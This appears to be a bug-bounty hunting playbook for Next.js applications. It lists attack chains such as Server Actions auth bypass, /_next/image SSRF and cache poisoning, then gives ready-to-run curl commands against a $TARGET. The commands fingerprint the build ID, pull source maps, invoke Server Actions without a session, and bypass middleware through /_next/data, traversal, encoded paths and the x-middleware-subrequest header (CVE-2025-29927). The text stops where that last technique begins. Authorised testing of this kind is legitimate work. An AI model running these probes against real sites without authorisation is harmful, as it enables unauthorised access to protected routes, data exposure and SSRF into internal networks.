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HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities

Crown Jewel Targets

Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.

Highest-value chains:

• Server Actions auth bypass — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
• Middleware bypass via /_next/static/ — middleware skips static asset paths → protected routes accessible via /_next/data/ IDOR
• /_next/image SSRF — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
• ISR stale cache poisoning — inject malicious content into a cached page that gets served to all users
• RSC payload leakage — React Server Component flight data contains server-side props not meant for client

Attack Surface Signals

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

Phase 1 — Fingerprint & Version Detection

# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

Phase 2 — Server Actions Abuse

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only

Phase 3 — Middleware Auth Bypass

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible

# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

Middleware bypass via x-middleware-subrequest (CVE-2025-29927)

Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.

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